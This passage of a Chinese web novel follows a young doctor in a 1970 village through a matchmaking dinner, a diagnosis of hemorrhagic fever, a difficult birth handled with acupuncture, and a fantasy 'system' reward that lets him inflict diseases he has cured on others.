张兰一进门,就把张小月推进了厨房:“好侄女,帮我烧火,咱今晚吃顿好的!” 然后她又冲着院里喊:“当家的!快去!把江医生给我请过来吃饭!” 正在院里劈柴的李有柱一听,乐得大嘴一咧,丢下斧头就往外跑。 此刻的江沐,正在自己的小屋里,准备烧水下点挂面。 他刚把灶火点着,院门就被人推开了。 李有柱那张大脸探了进来,嗓门洪亮:“江沐!别弄了!跟我家吃去!” 江沐有些意外:“李队长?不用了,我随便对付一口就行。” “对付啥!”李有柱大步流星地走进来,一把将他从灶台前拉开,“我媳妇把你媳妇儿都领回来了,你还搁这儿吃挂面?像话吗!走走走!” 江沐哭笑不得,拗不过他的热情,只得熄了灶火。 他去打了盆清水,仔细洗了脸和手,又理了理身上有些褶皱的衣服,这才跟着李有柱去了他家。 一进李家院子,江沐的目光就不由自主地被厨房门口站着的那个身影吸引了。 女孩穿着朴素的碎花衣,却掩不住那份天然的清丽。 许是听到了脚步声,她紧张地回过头,两人的视线在空中短暂地交汇了一下。 四目相对,空气仿佛凝固了一瞬。 张小月的心跳漏了半拍,只觉得眼前的年轻人比姑姑描述的还要好看。 他不像村里的汉子那样粗犷,身上有股说不出的干净和沉静气质,尤其是那双眼睛,深邃得像一汪潭水,仿佛能看透人心。 她赶紧低下头,脸颊瞬间烧得滚烫。 江沐也有些微的怔忪。 眼前的姑娘,质朴纯净,像一朵开在山野里的百合花,带着泥土的芬芳,别有一番动人的美丽。 两人间的气氛一时有些尴尬的沉默。 “咳咳!”李有柱的儿子李振国从屋里出来,笑着打破了僵局。 他一把揽过江沐的肩膀,把他往屋里拉,挤眉弄眼地低声问,“咋样?小江,我这表妹,不赖吧?” 江沐看着那姑娘羞涩地躲进厨房的背影,嘴角微扬,轻轻点了点头。 而在厨房里,张兰正用胳膊肘捅了捅自家侄女,脸上笑开了花。 “闺女,咋样?姑没骗你吧?” 张小月羞得不敢抬头,只是红着脸,用细不可闻的声音嗯了一下。 “振国!别光顾着说话,死小子,快来端菜!”厨房里传来张兰的吆喝。 李振国应了一声,赶紧跑了过去。 江沐见状,也想跟过去帮忙。 “哎!你动啥!”李有柱一把将他按在饭桌前的长凳上,大咧咧地一挥手,“你今天就是客!坐着等吃就行!” 第29章 你不反感的话,我们可以处处看 饭菜很快就端上了桌。 一盘土豆炖腊肉,一盘酸辣白菜,还有一盆金灿灿的玉米面饼子,在这年月里,已是难得的丰盛。 灶膛里的火光跳跃着,映亮了坐在江沐对面的张小月。 这一次,江沐看得分外真切。 姑娘的五官算不上惊艳,却像山里的清泉,干净耐看,越看越有味道。 身段是常年干活练出来的匀称,纤细却不羸弱,充满了勃勃的生机。 完全长在了他的审美点上。 张小月始终低着头,小口小口地扒拉着碗里的饭,耳根却红得快要滴出血来。 酒过三巡,菜过五味,张兰觉得火候差不多了。 她放下筷子,脸上堆满了热情的笑,目光在江沐和张小月之间打了个转。 “那个……江沐啊,你看,人也见了,饭也吃了。我给你正式介绍一下,这是我娘家侄女,张小月,今年十八,三大队的。小月,这就是我跟你提过的江医生,江沐同志,有本事着呢!” 张小月恨不得把头埋进碗里,一张俏脸烫得能烙饼。 江沐却坦然地放下了碗筷,目光温和地落在张小月身上。 在众人错愕的注视下,他站起身,对着张小月,竟是十分郑重地伸出了右手。 “你好,张小月同志,我叫江沐,很高兴认识你。” 这一手,直接把在场的所有人都给整不会了。 握手?这是城里大领导才有的礼节吧? 张小月更是手足无措,一双眼睛茫然地看着那只伸在半空中的手。 江沐见她窘迫,也不以为意,自然地收回了手,微笑着重新坐下,瞬间化解了尴尬。 “江沐啊,”张兰看在眼里,心里对这个年轻人的好感又多了几分,她干脆把话挑得更明,“那你觉得……我这侄女咋样?” 所有人的目光全都聚焦在了江沐脸上。 江沐迎着众人的视线,没有丝毫的扭捏,坦然地点了点头,语气诚恳。 “张兰婶子,小月同志很好,非常朴实,也很漂亮。” 这句夸奖,让张小月的心跳又漏了半拍。 然而,江沐接下来的举动,更是让所有人大跌眼镜。 “我想问问小月同志自己的想法,你觉得我怎么样?你不反感的话,我们可以处处看。” 这……这也太直接了! 张小月的大脑一片空白,只觉得浑身的血液都冲上了头顶,支支吾吾半天,一个字也说不出来。 “哈哈哈!”李有柱见状,一拍大腿,爽朗的笑声打破了僵局,“江沐你可真行!把我这侄女给问住了!行了行了,这事不急,让她自个儿回去慢慢想!” 一顿饭在这样热烈又带着尴尬的气氛中结束。 江沐看了看窗外的天色,起身告辞。 “李队长,婶子,多谢你们的款待,饭菜很好吃。我那边还有点事,就先回去了。” “哎,好,那你慢走!” 送走了江沐,屋里的气氛瞬间松快下来。 张兰一把拉过还处在云里雾里的张小月,眼睛亮晶晶地逼问:“闺女!快跟姑说实话!你觉得江沐这人咋样?到底喜不喜欢?” 在姑姑火辣辣的目光下,张小月羞涩地绞着衣角,最终,还是几不可查地点了点头。 “好嘞!”张兰得到了想要的答案,满脸喜色。 张小月又在李有柱家待了一阵,眼看天色越来越黑,便准备起身回家。 “让振国送你回去!”张兰立刻吩咐儿子。 没想到李振国眼珠子一转,挠了挠后脑勺,一脸为难:“哎呀妈,我下午跟人约好了去整地,这会儿得赶紧过去,真没空啊!” 他话锋一转,冲着张兰挤了挤眼睛,大声提议:“要不……让江医生送我表妹回去呗?!” “你这臭小子!”张兰嘴上骂着,脸上却笑开了花。 “不行不行!”张小月一听这话,脸颊一下又红了,连连摆手,“路不远,我自己能走回去!不用麻烦江医生!” “那怎么成!”张兰立刻把脸一板,态度强硬,“这黑灯瞎火的,路上万一窜出个野猪黄鼠狼咋办?绝对不行!” 江沐刚回到自己的小屋,正准备看看系统商城的声望值,院门就又被李振国给推开了。 “江医生,我妈让你送我表妹回家!” 江沐闻言一怔,眉头微蹙:“这……不太好吧?天这么黑,孤男寡女的,影响不好。” “这都啥时候了还管啥影响!”李振国一脸你太不开窍的表情。 江沐还想推辞,李振国却根本不给他机会,把话送到,转身就跑,嘴里还嚷嚷着:“就这么定了啊!我表妹在俺家等你呢!” 话音未落,人已经没影了。 江沐站在原地,有些哭笑不得。 一个小时后,他还是推着那辆二八大杠自行车,出现在了李有柱家的院子里。 张小月看到他,窘迫地低下了头,两只手紧张地不知往哪儿放。 张兰却是乐得合不拢嘴,一把将张小月推到江沐面前,笑呵呵地嘱咐:“江沐啊,这丫头就麻烦你了!路上骑慢点,安全第一!婶子也是不放心她一个女娃走夜路。” 江沐点了点头:“放心吧,婶子,我一定把她安全送到。” 他跨上自行车,拍了拍后座。 张小月犹豫了一下,还是红着脸,侧身坐了上去,双手紧张地抓住了车后座的铁架子。 “哎哟!看看!多配啊!真是郎才女貌!” 在张兰毫不掩饰的夸赞声中,自行车驶入了沉沉的夜色里。 土路坑坑洼洼,车身有些颠簸。 张小月的心跳得厉害,鼻尖萦绕着从他身上传来的淡淡的皂角清香,混着夜风,让她有些心神恍惚。 也不知过了多久,她终于鼓起勇气,用细若蚊蚋的声音,打破了沉默。 “江……江医生,你家里……有几个兄弟姐妹啊?” 这个问题像一个开关,瞬间让凝滞的空气流动了起来。 江沐的声音在夜色中显得格外清晰温和:“我有一个同父异母的弟弟。” 他的回答很简洁,却没有拒人于千里之外的冷漠。 江沐也开始自然而然地和她攀谈起来,问了问三大队的一些情况,一来一回,气氛渐渐不再那么尴尬。 很快,三大队的村口遥遥在望。 “就……就到这里吧。”车后座的张小月忽然开口,“前面就到村口了,我自己走进去就行。” 江沐刹住了车,没有多问。 张小月从后座上跳下来,整理了一下被风吹乱的衣角,低着头,声音很轻:“今天……谢谢你。” 江沐推着车,看着她在月光下的模糊身影。 “不客气,路上小心。” 他顿了顿,又补充了一句。 “下次见。” 张小月猛地抬头,她的脸颊再次烧了起来,胡乱地点了点头,转身快步跑进了村里。 第30章 有戏,绝对有戏! 江沐推着那辆吱呀作响的二八大杠回到李有柱家院里时,张兰一听到动静,立刻从屋里迎了出来。 “哎哟,江沐,可算回来了!怎么样,把小月安全送到了吧?” 江沐把车梯子一打,稳稳地停好车,这才转过身点了点头。 “送到了,婶子。我就送到她们三大队的村口,没再往里走。” 张兰愣了一下,随即一拍大腿,眼里的赞许几乎要溢出来! “哎呀!你这孩子,想得就是周到!你这是在护着小月的名声呐!” 她看江沐的眼神,简直就像在看自家最出息的儿子,越看越满意。 “快快快,进屋坐会儿,喝口热水再走!”张兰热情地拉着江沐的胳膊,硬是把他拽进了堂屋。 …… 另一头,张小月几乎是一路小跑着冲回了家。 推开自家那扇破旧的木门,昏黄的灯光下,爹娘还没从队上下工回来。 她先是熟练地把背篓里的猪草倒进猪食槽,又舀水和上糠,这才走进灶房,借着灶膛里跳动的火光,开始淘米生火。 等一锅香喷喷的玉米糊糊煮好,锅里还贴上几个金黄的杂粮饼子时,院门外才传来一阵疲惫的脚步声。 “爹,娘,你们回来了。”张小月连忙迎了出去。 张峰扛着锄头,满身泥土地走了进来,一旁的刘桂芝也是一脸倦容。 可一见到女儿,两人的眼睛瞬间就亮了。 张峰把锄头往墙角一靠,搓了搓满是老茧的手,有些笨拙地开了口。 “那个……小月啊,今天……咋样啊?” 张小月正给他们盛饭的手微微一顿,一股热气从脖子根窜到了脸上,她没敢抬头,只是用细微到几乎看不见的幅度,轻轻点了点头。 “点头是啥意思啊?你这丫头,急死个人!”刘桂芝可没她爹那么有耐心,一把将女儿拉到炕边坐下,连珠炮似的追问起来,“到底是中意还是不中意?给个准话!” 在娘亲火辣辣的目光逼视下,张小月的声音细若蚊蚋,从牙缝里挤出几个字。 “人……人挺好的。” 刘桂芝眼睛一亮,心里顿时有了底,但她更关心另一个关键问题,凑近了压低声音。 “那……那江医生呢?他看上你没?” 这个问题,可把张小月给问住了。 “我……我哪知道啊……” “你这傻闺女!”刘桂芝见她这不开窍的样子,又急又气地戳了她脑门一下。 “我可跟你说,这事儿你得抓紧!江医生是啥条件?这十里八乡想把闺女嫁给他的媒婆,门槛都能踏破了!咱家这机会是占了你姑的光,你要是不主动点,过了这村可就没这店了!” 在刘桂芝的连番催促下,张小月才一五一十,把从见面到吃饭,再到江沐当众问她意见的全过程,都羞答答地讲了一遍。 当听到江沐是骑着自行车把女儿送回来的时候,刘桂芝猛地一拍炕沿,脸上的喜色再也藏不住了! “有戏!绝对有戏!”她斩钉截铁地断言,脸上的皱纹都笑开了花。 --- 两天后的下午,卫生室外面响起了一阵不同寻常的汽车引擎声。 一辆军绿色的吉普车停在了院门口,沈焱精神抖擞地从车上跳了下来,和一周前那副萎靡不振的样子简直判若两人。 “江老弟!我来了!” 他一进门,就冲着正在整理草药的江沐拱了拱手,声音洪亮,中气十足。 江沐抬眼打量了他一番,见他面色红润,眼神清亮,便满意地点了点头。 “看来药效不错。坐吧,今天该扎针了。” 一番操作行云流水,银针刺入穴位,沈焱只觉得一股暖流从腰间瞬间扩散至四肢百骸,那股子通体舒泰的畅快感,让他忍不住长长地舒了一口气。 “舒坦!真是太舒坦了!江老弟,你这手医术,真是神了!” 起针后,江沐一边用酒精棉消毒,一边淡淡地嘱咐。 “效果要巩固。回去继续按时吃药,一个礼拜之后再来复诊。记住,这段时间,依旧不能行房事,否则前功尽弃。” “明白!明白!”沈焱连连点头,从兜里掏出一个鼓囊囊的信封,不由分说就要往江沐的白大褂口袋里塞。 江沐眉头一皱,侧身避开。 “沈大哥,你这是做什么?” “一点心意,不成敬意!”沈焱态度坚决,又一次递了过去,“你给我治好了这么大的难言之隐,我要是不表示表示,那成什么人了?拿着!必须拿着!” 两人推拒了半天,沈焱脸色一板,语气都重了几分。 “江老弟,你要是再推,就是看不起我沈焱!这不是诊费,这是我交你这个朋友的见面礼!” 话说到这份上,江沐再拒绝就显得不近人情了。 他沉吟片刻,终究还是接过了信封,入手沉甸甸的,估摸着不是个小数目。 沈焱见他收下,这才松了口气,随即又满是惋惜地叹了口气。 “江老弟,说句掏心窝子的话,你这一身本事,窝在这穷山沟里,实在是太屈才了!要不这样,我托托关系,把你调到县医院去怎么样?凭你的医术,不出三年,绝对是院里的一把刀!” 这无疑是个巨大的诱惑,足以改变任何一个知青的命运。 然而,江沐只是平静地摇了摇头,眼眸里没有丝毫波澜。 “多谢沈大哥的好意。不过,县医院不缺医生,这里缺。” 简单的一句话,却让沈焱心头巨震。 他怔怔地看着眼前这个比自己年轻许多的青年,忽然觉得有些看不透他了。 沈焱没再强求,转而又想起一事,搓着手嘿嘿一笑。 “对了,江老弟,你那个治腰酸背痛的膏药,效果是真霸道!周书记用了都赞不绝口!你再……给哥哥我挖点?” “小事。”江沐转身从一个陶罐里,用竹片挖了两大坨黑乎乎的药膏,用油纸包好,一份递给沈焱,“这是你的,这份你带给周书记。” 送走了沈焱,江沐看着手里的信封,转身便去找李有柱。 “李队长,我想请半天假,去一趟公社。” 李有柱正蹲在院里编箩筐,闻言头也不抬,爽快地一挥手。 “去呗,这有啥好请假的!你那辆破车不好骑,骑我的!就在墙根那儿立着呢!” 江沐看着那辆刷着青莲公社二大队白漆的崭新自行车,笑了笑,婉言谢绝了。 “不用了队长,路不远,我走着去就行。那是公家的车,我办私事,不能用。” 第31章 是流行性出血热 次日天刚蒙蒙亮,江沐啃了个窝头,便动身了。 从二大队到公社所在地,十几里路,全是坑坑洼洼的黄土道。 即便江沐如今这具身体素质远超常人,一个多小时走下来,额角也见了细汗。 “不行,必须得有辆车。” 江沐一边走,一边在心里盘算。 沈焱给的那一沓大团结足有三百,加上之前给周书记和沈焱看病攒下的诊金,再算上父亲偷偷塞的那些,零零总总加起来,手里活钱已经超过了七百块。 在这个工人月薪普遍只有二三十块的年代,这绝对是一笔巨款。 买一辆自行车,绰绰有余。 这不仅是代步工具,更是节省时间和精力的关键投资。 公社邮局是镇上一栋不起眼的青砖瓦房。 江沐报上自己的名字,工作人员从一堆信件里翻找了半天,递出来一个牛皮纸信封。 信封很厚,捏上去能感觉到里面有硬物。 拆开来,一张崭新的医师资格证滑了出来,旁边还有一张二百块钱的汇款单,以及一封写满了字的信纸。 是江东山的笔迹。 信里的内容一如既往,全是些嘘寒问暖的琐碎话。 叮嘱他注意身体,别跟人起冲突,钱不够了就写信回家……字里行间透着一个父亲笨拙而深沉的关切。 江沐的眼神平静如水,对这份迟来的父爱早已掀不起多少波澜。 他不是原主,无法感同身受那份被忽视的怨怼,但也无法心安理得地接受这份带着愧疚的弥补。 他只是将医师证和汇款单仔细收好,然后走到柜台前,要了纸笔,写了一封简短的回信。 无非是一切都好,勿念之类的客套话,言简意赅,像一份公事公办的报告。 随后,他拿着汇款单,在工作人员审视的目光中,顺利取出了二百块钱。 揣着这笔钱,江沐没有耽搁,径直走向了公社卫生院。 刚一进门,就跟一个穿着白大褂、行色匆匆的中年医生撞了个满怀。 “哎哟!” “孙院长?”江沐认出了对方,正是上次送药时打过交道的孙志。 孙志一看来人是江沐,一把抓住他的胳膊,不由分说就往里拖。 “江沐同志!你来得正好!快快快,帮我瞧个病人,邪乎得很!” 里头的病床上,躺着一个二十岁出头的年轻人,面色潮红,眼神涣散,嘴里胡乱念叨着什么,整个人已经有些神志不清了。 旁边一个五十多岁的老汉急得团团转,眼泪都快下来了。 江沐眉头一凛,没急着上手,只是静静观察了片刻,才沉声开口。 “体温测了吗?血压呢?用了什么药?” “测了测了!”孙志赶紧递上记录,“高烧快四十度了!高压不到九十,低压才五十!打了退烧针,物理降温也用上了,可体温就是下不来,人越来越糊涂!” 江沐点了点头,伸手探了探年轻人的额头,滚烫。 他又翻开病人的眼皮,看了看结膜,最后将目光落在了病人旁边一脸无措的老汉身上。 “大叔,你仔细想想,你儿子发病前这一个礼拜,有没有被老鼠咬过,或者接触过死老鼠?” 这个问题问得突兀,孙志和旁边的护士都愣住了。 那老汉却是浑身一激灵,猛地一拍大腿! “有!有啊!上个礼拜,就在上个礼拜!这小子睡觉不老实,脚伸到炕外面,被耗子啃了一口!第二天就开始发烧,我以为是着凉,哪想到会这么厉害!” 话音刚落,整个诊室的气氛瞬间凝固。 江沐转过头,目光平静地看向孙志。 “孙院长,发热、休克、肾损害,这是什么病的典型三联征?还需要我再给你科普一下吗?” 孙志的额头瞬间见了汗,脸上青一阵白一阵,尴尬不已。 “是流行性出血热!”他声音干涩地吐出这几个字,后背惊出一层冷汗。 “还好,送来的不算太晚。”江沐的语气依旧平淡,“要是再拖几天,等出现弥漫性血管内凝血,那就只能准备换血了。” 一听到换血两个字,在场的所有医护人员脸色都变了。 他们都清楚,以公社卫生院的条件,这跟直接宣判死亡没什么区别。 一时间,所有人看向江沐的眼神都变了,充满了敬畏和钦佩。 孙志更是长出了一口气,对着江沐又是作揖又是道谢。 病因一明确,接下来对症下药就有了方向,卫生院里立刻忙碌了起来。 “江沐同志,今天真是多亏了你!你……今天过来是?”孙志缓过神来,好奇地问。 江沐没多说什么,从兜里掏出那本崭新的医师资格证,递了过去。 “我的证下来了。另外,卫生室的常用药用得差不多了,过来领一些。” 办完正事,领了一大包药品,江沐婉拒了孙志吃饭的邀请,直奔镇上的供销社。 在供销社里,他没有丝毫犹豫,花了一百八十块钱和一张工业券,直接提了一辆崭新的二八大杠。 又花了些钱和布票,买了些棉布、毛巾之类的日用品。 当江沐骑着新车,驮着一大包东西回到二大队时,已经临近傍晚。 骑车的感觉,和徒步十几里路,简直是天壤之别。 他意念一动,调出了系统面板。 【声望值:970/1000】 给沈焱复诊,又得了50点声望。 刚才在卫生院确诊出血热,又入账了100点。 “还差三十点……”江沐心中微动,“就能来一次大的了。” 夜深人静,劳累了一天的江沐睡得正沉。 突然,一阵急促而狂暴的敲门声将他从梦中惊醒! 门板被拍得震天响,外面传来一个男人带着哭腔的嘶吼。 “江医生!江医生!快开门啊!” 江沐睡意瞬间被驱散得一干二净。 他猛地从土炕上坐起,披上外衣就冲过去拉开了门栓。 门外,一个身材敦实的汉子扑通一下就差点跪倒在地,脸上满是泪水和汗水,声音已经带上了哭腔,几乎是在哀嚎。 “江医生!求求你,求求你去看看我媳妇吧!她……她生不下来啊!” 江沐认得他,是队里的徐福,一个老实巴交的庄稼汉。 “稳婆呢?”江沐的声音冷静,瞬间就给慌乱的徐福注入了些许镇定。 “马三娘……马三娘她也没法子了!”徐福一拳砸在自己大腿上,懊恼又绝望,“她说娃的脚先出来了,是横胎!折腾大半夜了,我媳妇快没力气了!江医生,全村都说你医术高,你就是我们家最后的指望了!” 第32章 您就是我的再生父母 横胎!倒产! 在现代,这需要立刻进行剖腹产,但在1970年的偏僻农村,这几乎等同于一尸两命的死亡判决! “别慌!”他没有丝毫犹豫,转身冲回屋里,从枕头下摸出那个用布细心包裹的针灸包,“前面带路,快!” 徐福家灯火通明,院子里站满了焦急的邻里,压抑的议论声和屋里传出的痛苦呻吟交织在一起。 江沐拨开人群,一脚踏进产房。 一股浓重的血腥味和汗臭味扑面而来,几个帮忙的妇女满脸愁容,端着一盆盆血水进进出出。 接生婆马三娘瘫坐在一旁,拿着块毛巾擦着额头的汗,一副束手无策、听天由命的模样。 炕上,产妇赵柔柔头发湿漉漉地贴在惨白的额头上,嘴唇被咬得没有血色,眼神涣散,呻吟声已经微弱。 “都让开!”江沐一声低喝,自带不容置疑的气场。 屋里的人都愣住了,马三娘更是抬起头,诧异地看着这个年轻得过分的江医生。 江沐却根本没理会旁人,他快步走到炕边,打开针包,十几根长短不一的银针在油灯下闪着森然的寒光。 “你要干啥?”马三娘惊得站了起来,“女人生娃,你个大男人进来就算了,还动针?这可是要坏了规矩的!” “人命关天的时候,跟我讲规矩?” 江沐眼皮都未抬一下,指尖捻起一根银针,精准地刺入了赵柔柔腹部的穴位。 紧接着,第二根、第三根…… 转眼间,赵柔柔腹部和腿上就扎满了颤巍巍的银针。 他手法之快,落针之准,让在场所有人都看傻了眼。 随后,江沐深吸一口气,双手覆上赵柔柔高高隆起的腹部,闭上眼睛,开始轻柔而有力地按摩、推拿。 他对一旁的马三娘发号施令,语气不容置喙,“我正在用针灸和推拿之法,强行扭转胎位。等会儿孩子位置摆正了,剩下的,你是专业的,交给你!” 他又扭头对早已六神无主的徐福喝道,“还愣着干什么?去!冲一碗浓浓的红糖水来!” 然后,他俯下身,在赵柔柔耳边用一种催眠般温和的声音安抚,“嫂子,别怕,有我在这里,你和孩子都不会有事。保存体力,听我的指挥。” 神奇的是,随着江沐的按摩和那几根银针的作用,赵柔柔原本撕心裂肺的痛楚似乎减轻了不少,涣散的眼神也重新聚焦了些许神采。 约莫一刻钟后,江沐的额头也见了汗,他猛地睁开眼,沉声对马三娘开口。 “正了!快!” 马三娘如梦初醒,赶紧上前查看,随即脸上露出狂喜之色,“哎呀!天爷啊!真的……真的转过来了!看到头了!看到头了!” 屋里顿时响起一阵压抑的欢呼。 江沐缓缓直起身,长出了一口气。危机暂时解除。他对着众人叮嘱了一句:“她身上的银针千万不要碰,一根都不能动!”说完,便转身走出了产房,将空间留给了女人和接生婆。 刚一出门,他就被院子里的人团团围住。 “江医生,咋样了?” “是男是女啊?” 江沐脸上带着疲惫的微笑,语气却无比笃定,“母子平安。放心吧,是个大胖小子。” 众人闻言,一片欢腾,对江沐的敬佩之情溢于言表。 然而,这口气还没松到底,产房里突然传出马三娘惊慌失措的尖叫! 紧接着,徐福再一次从里面冲了出来,脸上已经毫无血色,嘴唇哆嗦着,话都说不利索。 “江……江医生!生……生是生下来了……可……可娃没气儿啊!不哭啊!” 院子里瞬间鸦雀无声。 江沐几乎是瞬间就冲了回去! 只见马三娘正倒提着那个浑身青紫、软绵绵的婴儿,一下下拍打着孩子的屁股,可那孩子就像个布娃娃,没有半点反应。 “给我!” 江沐一把将婴儿接了过来,小心翼翼地放在炕上。 他飞快地从针包里抽出几根细如牛毛的毫针,闪电般刺入婴儿的几个关键穴位。 紧接着,他做出了一个让所有人都瞠目结舌的动作。 他俯下身,用两根手指在婴儿那小得可怜的胸口上,开始有节奏地按压起来。 一按,一松,再按,再松……动作精准而稳定。 时间一分一秒地过去,屋子里死一般的寂静,只能听到江沐沉重的呼吸声。 就在所有人都快要绝望的时候…… “哇——!” 一声响亮而清脆的啼哭,响彻整个屋子! 活了! 孩子哭了! 【叮!恭喜宿主成功拯救难产孕妇及窒息新生儿,一人计一功,声望共计+100点!】 【当前声望:1070/1000!】 系统的提示音在脑海中响起,但江沐此刻却无暇顾及。 听到这声啼哭,徐福双腿一软,再也支撑不住,对着江沐跪了下来,一个劲地磕头。 “江医生!您就是我的再生父母!从今往后,我徐福这条命就是你的!给你当牛做马,我心甘情愿!” “快起来!”江沐将孩子交给喜极而泣的马三娘,上前一把将徐福扶了起来,神色郑重,“我是医生,救死扶伤,本就是我该做的事。” 说完,他转身回到炕边,将赵柔柔身上的银针一一拔下,动作轻柔。 赵柔柔已经因为力竭而沉沉睡去,只是脸上恢复了些许血色。 “我媳妇她……”徐福看着一动不动的妻子,又开始担心起来。 “没事,累坏了。”江沐将银针收好,“让她好好睡一觉,醒了之后多补补营养,小米粥,煮鸡蛋,千万别落下。” 眼见母子二人都已脱离危险,江沐婉拒了徐福一家千恩万谢的挽留,拖着疲惫的身体回了知青点。 关上门,整个世界都安静了下来。 他坐在炕沿上,看着系统面板上那耀眼的“1070”点声望,心脏开始不受控制地狂跳起来。 够了!终于够一千了! 可以十连抽了! 他深吸一口气,紧张又期待。 “三清祖师、玉皇大帝、如来佛祖……各路神仙保佑!给点实在东西吧!” 江沐心中默念了一遍,他心一横,闭上眼睛,狠狠按下了十连抽按钮! 第33章 这十连抽,简直赚到盆满钵满 “金色!红色!给老子出货啊!” 他几乎是咆哮出声。 光芒骤然收敛,十张卡牌静静地悬浮在他的意识空间中,背面是古朴的云纹。 翻! 随着他意念一动,卡牌齐齐翻转。 六道黯淡的白光,三抹深邃的蓝芒,以及……一道刺眼夺目的炽烈赤红! 成了! 江沐紧绷的神经猛地一松,后背瞬间被冷汗浸透。 还好,不亏! 他迫不及待地检视起战利品。 六个白色光团,依旧是系统一贯的抠搜风格。 一袋的确良布料的袜子,两包大前门香烟,一瓶平平无奇的红花油,一盒火柴,还有……一件款式大胆、用料稀少的黑色蕾丝内衣。 “这他娘的……”江沐眼角抽搐,这玩意儿在这1970年,怕不是要被当成封资修的铁证给批斗死! 他赶紧将目光移开,看向那三团蓝光。 【药膳食谱(初级)】:收录三十六种常见滋补调理药膳,固本培元,延年益寿。 【宠物锻体丹】:以草药精华炼制,可为动物洗经伐髓,增强体质,开启灵智。 【青铜炼药鼎】:古朴药鼎,可用于炼制丹药、熬制药膏,提升成品药效20%! 江沐的呼吸陡然急促起来! 药膳食谱他脑子里就有更高级的,聊胜于无。 但这宠物锻体丹……他脑海里瞬间浮现出村口高志强家的那条大黄狗,要不了多久就有一窝小狗崽了!在这缺乏娱乐和安保的年代,养一条通人性的狗,绝对是一大助力! 而最后的青铜炼药鼎,更是让他心神巨震! 提升20%的药效!这意味着什么?意味着他记忆中那些只存在于古籍中的丹方,有了实现的可能! 普通的药材,经过它的炼制,就能发挥出远超本身的效果! 这简直是神器! 江沐强压下心中的狂喜,将最后的希望与期待,投向了那团熊熊燃烧的赤红色光芒。 这才是十连抽的保底,真正的大头! 光芒散去,一个造型奇特的、如同琥珀般晶莹剔透的瓶子显现出来。 【疾病收集器】:万病之源,皆可为我所用。 宿主每成功治愈一种疾病,此器便可将该疾病的病灶样本收录其中。 宿主可消耗少量声望值,将已收录的疾病无声无息地施加于指定目标身上。 江沐倒吸一口凉气。 这哪里是什么治病救人的东西,这分明是一件杀人于无形的绝世凶器! 治好一种病,就能掌握一种病。 他可以让人上吐下泻,可以让人高烧不退,甚至……可以让人患上他曾经治愈过的任何一种绝症! 恐怖!太恐怖了! 但转瞬间,这股寒意就化为了极致的兴奋。人不犯我,我不犯人。 人若犯我,我让他生不如死! 这十连抽,简直赚到盆满钵满! …… 第二天,天刚蒙蒙亮,江沐就神采奕奕地起了床。 他先来到卫生室,院子里已经有几个流着鼻涕的小屁孩在玩泥巴了。 江沐笑着从兜里掏出几颗水果糖,一人发了一颗。 “谢谢江医生!”孩子们奶声奶气地道谢,脸上洋溢着最纯粹的快乐。 【叮!收到来自王二毛的感激,声望+1】 【叮!收到来自李狗剩的崇拜,声望+1】 零星的声望入账,虽然不多,却让江沐的心情愈发舒畅。 他打扫完卫生室,刚坐下没多久,就有人上门了。 一个汉子捂着肚子,脸色发白,说是昨晚吃了不干净的东西,拉了一晚上,快虚脱了。 江沐诊断为急性肠胃炎,开了些土霉素,又用银针帮他止住了腹泻。 【叮!成功治愈急性腹泻,疾病收集器已收录!】 江沐心念一动,他走到卫生室后院,看到墙角趴着一条无精打采的野狗。 他环顾四周无人,悄悄对着那条狗,动用了疾病收集器的功能。 目标:野狗。 施加疾病:急性腹泻。 消耗声望:1点。 几乎是瞬间,那条原本还懒洋洋的野狗猛地夹紧了尾巴,后腿一蹬,发出一声哀鸣,夹着尾巴冲向了远处的草丛。 江沐看得眼角一跳。 好家伙,这效果……立竿见影啊! 第二天中午,江沐正准备吃饭,便见徐福走了进来,他手里还提着一只咯咯叫的老母鸡,脸上挂着掩饰不住的喜悦和感激。 “江医生,我……我给你磕头了!”徐福一见江沐,就要往下跪。 江沐眼疾手快,一把将他扶住,“徐大哥,你这是干什么!快起来!” 徐福咧着嘴笑,“您是我们家的大恩人,这点心意,您无论如何都要收下!” 江沐看着那只还在扑腾的老母鸡,立刻把头摇得像拨浪鼓。 他知道徐福家什么光景,这只鸡怕是他们家最值钱的东西了。 “使不得,使不得!心意我领了,但这鸡你必须拿回去!给嫂子补身体!” “那哪成啊!您救了我们娘俩两条命,一只鸡算啥!” 两人一番拉扯,江沐态度坚决,徐福急得满头大汗。 最后,江沐只收下了徐福婆娘亲手做的几个玉米面饽饽,硬是把那只老母鸡给塞了回去。 …… 距离赵虎和陈小军被收拾,已经过去了一个礼拜。 这七天,对赵虎来说,简直是生不如死。 这天下午,卫生室的门帘一挑,赵老汉佝偻着背,领着一个面色蜡黄、眼神怨毒的年轻人走了进来。 正是赵虎。 “江医生,我……我带这混小子来了。” 江沐的目光在赵虎身上淡淡一扫。 “药吃完了?”江沐的声音听不出喜怒。 “完了,完了,最后一贴今早刚喝完。”赵老汉连忙点头。 江沐站起身,对赵老汉摆了摆手,“叔,你先出去一下,我跟赵虎单独聊几句。” 赵老汉赶紧退了出去。 门帘落下,狭小的卫生室里,气氛瞬间降至冰点。 赵虎死死地盯着江沐,牙齿咬得咯咯作响,从牙缝里挤出一句话。 “姓江的!你他妈够狠!你居然敢当着全村人的面,说老子借钱的事!” 这才是他最恨的! 让他这几天在村里根本抬不起头! 江沐却像是没听到他的怒吼,自顾自地倒了杯水,轻轻吹了吹热气,然后抬起眼皮,“怎么?只许你带人来我这敲诈,不许我说点实话?” “你!”赵虎气得胸膛剧烈起伏,拳头捏得死紧,手背上青筋暴起。 江沐放下水杯,身体微微前倾,声音不大,“赵虎,我不管你以前在村里多横,但你记住了,别来惹我。” “上次,只是给你一个教训。如果还有下次……我保证,我会让你体验一下,什么叫真正的生不如死。” 赵虎想起了那身不由己的奇痒,想起了那四肢百骸的无力! 那种诡异的手段,根本不像是人能做出来的! 他想放几句狠话,可对上江沐那双冷漠到极致的眼睛,所有的话都卡在了喉咙里,一个字也说不出来。 最终,赵虎只是色厉内荏地低吼了一句:“你等着!” 说完,他猛地一甩门帘,仓皇地逃了出去。 第34章 这青铜鼎果然是神器 接下来的日子,异常清净。 转眼间,他下乡已经满月。 卫生室的门槛快被踏平了,十里八乡的乡亲们有个头疼脑热,都认准了青莲公社的江神医。 声望值缓慢而稳定地增长着,日子过得悠闲又充实。 然而,有人却替他着急上了。 距离上回李有柱做东,江沐和张小月点头见面,已经过去了小半个月。 这半个月里,江沐忙着给人看病,捣鼓草药,压根没把这事儿往心里去。 可张小月的姑姑张兰,却是急得嘴上都快起泡了。 如今的江沐,在青莲公社那可是顶顶的香饽饽! 